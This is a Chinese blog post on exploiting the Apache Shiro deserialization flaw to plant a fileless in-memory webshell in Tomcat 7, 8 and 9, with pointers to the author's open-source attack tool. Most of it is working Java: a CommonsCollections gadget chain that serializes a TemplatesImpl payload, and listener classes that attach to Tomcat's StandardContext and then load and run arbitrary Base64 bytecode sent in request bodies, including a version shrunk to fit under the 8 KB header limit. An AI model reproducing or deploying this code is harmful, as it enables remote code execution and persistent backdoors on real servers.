Shiro反序列化与Tomcat内存马注入学习

Shiro反序列化已经是个2016年的老洞了

但是这个漏洞第一似乎比较适合入门,而且实战确实还能遇到几个(犄角旮旯里的系统),另外现有的注入工具注入内存马的时候可能会失败,于是自己造了个轮子,也是为了更好地了解漏洞的原理和利用方式

本文所有代码以及GUI工具都开源在了 https://github.com/ccdr4gon/Dr4gonSword

仅供交流学习漏洞原理,请勿用于非法用途

最后我把自己在学习过程中的一些浅薄的思考写成了这篇文章,如有谬误恳请各位师傅指出

利用链

CommonsCollectionsK1_1

因为写的时候在看p师傅的知识星球入门JAVA,按照p师傅的顺序shiro前面是cc3,所以我写的也是把cc3的TransformerChain改成tiedMapEntry,可能和CommonsCollectionsK1有点区别(大概只是InvokerTransformer和InstantiateTransformer)的区别

TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][] {code});
        setFieldValue(obj,"_name","");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        InstantiateTransformer i=new InstantiateTransformer
                (
                        new Class[] { Templates.class },
                        new Object[] { obj }
                );

        Map originalMap  = new HashMap();
        Map decoratedMap = LazyMap.decorate(originalMap , i);
        Map fakedecoratedMap=LazyMap.decorate(originalMap, new ConstantTransformer("1"));
        TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
        Map enterpointMap = new HashMap();
        enterpointMap.put(tme, "valuevalue");
        decoratedMap.clear();
        setFieldValue(tme,"map",decoratedMap);
        //  序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(enterpointMap);

CommonsCollectionsK1_1_For_CC4

只是把LazyMap.decorate改成了LazyMap.lazyMap而已

Tomcat8/9回显和注入内存马

Tomcat的三种内存马

三种内存马为Listener型,Filter型,Servlet型,网上对于这三种内存马的研究已经有很多师傅做过了,不再过多赘述

其中注入成功的关键点就是如何获取到StandardContext

而获取StandardContext又有3种方式

  • 在jsp文件自带的变量如request等等里面找
  • 从Thread.currentThread()里面找
  • 从JMXMBeanServer的domainTb下面直接获取

首先第一种应该被排除,因为我们要做到无文件落地

这里我选了第二种,因为首先第二种在Tomcat8/9的情况下最短最方便,而且Tomcat加载的顺序似乎是Listener,Filter,Servlet,而shiro的实现似乎是一个Filter,如果我们使用Listener,那是不是就不会被shiro拦截(指还没加载恶意代码就跳转登录界面)了呢

事实上也确实是这样,包括p师傅的shirodemo环境和2021强网杯的hard pentest(如下图),都能成功注入内存马

与Shiro反序列化漏洞结合

那么如何和Shiro反序列化漏洞结合起来呢?

我们知道Shiro反序列化漏洞要反序列化成功必须是AbstractTranslet的子类才可以(因为是TemplatesImpl利用链,在TemplatesImpl的defineTransletClasses有下面这一行)

而从StandardContext加进listeners的类也要实现ServletRequestListener接口,那我们不如直接创建一个类Init,既继承AbstractTranslet类,又实现ServletRequestListener接口

然后在自己的构造方法中调用StandardContext.addApplicationEventListener(this); ,在反序列化的过程中出发构造方法,把自己加入到listeners中

然后在requestInitialized中编写恶意代码,不就可以在每个请求的过程中执行任意命令了吗(也是为了解决下面request too large的问题,在每个请求的过程中加载恶意的字节码)

public class Init extends AbstractTranslet implements ServletRequestListener  {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        //恶意代码
    }
}

但是这里我们并不能随意编写恶意代码,因为如果恶意代码太长(header超过8kb),那么tomcat会报一个header too large的错,无法利用成功

解决request header too large的问题

现在似乎有两种解决的方式

我们这里选择第二种,首先我们把一个Init加载进内存,然后在Init的requestInitialized方法中读取post包的body作为字节码加载类,并调用类的Init方法,这样我们就可以执行长度不限的任意代码了,如果有的依赖缺失,也可以手动把类全加载进去(比如连接behinder早期版本用到的PageContext)

public class Init extends AbstractTranslet implements ServletRequestListener  {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            RequestFacade requestfacade= (RequestFacade) sre.getServletRequest();
            Field field = requestfacade.getClass().getDeclaredField("request");
            field.setAccessible(true);
            Request request = (Request) field.get(requestfacade);
            if (request.getParameter("stage").equals("init")) {
                StringBuilder sb = new StringBuilder("");
                BufferedReader br = request.getReader();
                String str;
                while ((str = br.readLine()) != null) {
                    sb.append(str);
                }
                byte[] payload = Base64.getDecoder().decode(sb.toString());
                Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
                clazz.newInstance();
            }
        }catch (Exception ignored){}
    }
}

连接冰蝎

因为一开始我本地测试的时候是随手找的冰蝎beta6版本,其中需要一个PageContext类型的变量,而PageContext是一个抽象类

public abstract class PageContext extends JspContext {

我也没有太好的办法,我就自己实现了一个类继承PageContext,这个类要实现getResponse,getRequest,getSession方法,因为冰蝎要使用到这三个方法

后来发现使用新版本的冰蝎而无法连接,我看了jsp的代码没有任何变化,没办法只能jd-gui看一下jar包

一看代码原来是我自己创建的一个PageContext类的名字为Dr4gonContext,而冰蝎兼容旧版本的处理如下

可以看到匹配的是PageContext,于是把我们自己的类改名为Dr4gonPageContext即可🤣🤣🤣

回显

虽然已经可以注入内存马,最后还是写了回显,第一个可能比较方便,第二可以用来检测内存马是不是注入成功(我的回显和内存马在同一个类里面,如果可以回显基本上也可以连接内存马)

最关键的是在我们的listener中,可以直接获取到request,所以写起来也很方便,于是就写了

代码就不贴了,都在github上开源了

Tomcat7回显和注入内存马

写好了工具以后有一天发现利用失败,然后我仔细一看是个Tomcat7的站,随便调试了一下发现在Tomcat7中,没办法再使用简单的Thread.currentThread().getContextClassLoader().getResource().getContext()来获取到StandardContext了

调试了一下以后我没有使用jmx利用链,因为:

  • 在SpringBoot嵌入式tomcat的环境下似乎默认没有开启嵌入式tomcat的jmxmbeanserver,其他师傅们的利用链似乎跑不通(没有经过仔细调试)
  • payload太长,即使Init类也无法加载进去

这里看了很多很多师傅的利用链,最终还是用了c0ny1师傅的java-object-searcher来寻找利用链,然后找到比较短的一个

但是即使是比较短的一个利用链还是超过8kb的长度,最终把Init类手动优化代码(减小字节码体积),最终也能满足8kb的限制(长度在7900左右),优化后的代码如下

public class T7 extends AbstractTranslet implements ServletRequestListener {
    public Object G(Object o, String s) throws Exception {
        Field f = o.getClass().getDeclaredField(s);
        f.setAccessible(true);
        return f.get(o);
    }
    public void transform(DOM a, SerializationHandler[] b){}
    public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
    public void requestDestroyed(ServletRequestEvent s) {}

        public T7() {
        try {
            Object o=new Object();
            Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
            for (int i = 0; i < g.length; i++) {
                Thread t = g[i];
                if (t!=null&&t.getName().contains("Backg")) {
                    o = G(G(t, "target"), "this$0");
                }
            }
            Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
            f.setAccessible(true);
            HashMap<String,Object> p = (HashMap) f.get(o);
            for (Map.Entry l : p.entrySet()) {
                HashMap<String,Object> k = (HashMap) f.get(l.getValue());
                for (Map.Entry j : k.entrySet()){
                    ((StandardContext)j.getValue()).addApplicationEventListener(this);
                }
            }
        } catch (Exception i) {}
    }
    public void requestInitialized(ServletRequestEvent s) {
        try {
            StringBuilder b = new StringBuilder("");
            BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
            String g;
            while ((g = r.readLine()) != null) {
                b.append(g);
            }
            byte[] p = Base64.getDecoder().decode(b.toString());
            Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            m.setAccessible(true);
            Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
            c.newInstance();
        }catch (Exception i){}
    }
}

踩的一个小坑

这里本来我是想把Init类分两步加载进去的,后一个Init2调用前一个Init1的方法,形成一个接力,但是shiro反序列化利用的时候是每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问

没办法只好出此下策,手动优化类的代码,缩短字节码的长度至8k以内,如果有师傅有更好的方法欢迎交流

感谢

phithon

kingkk

j1anFen

Litch1

threedr3am

wh1t3p1g

李三

LandGrey

Lucifaer

c0ny1

等等师傅们

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注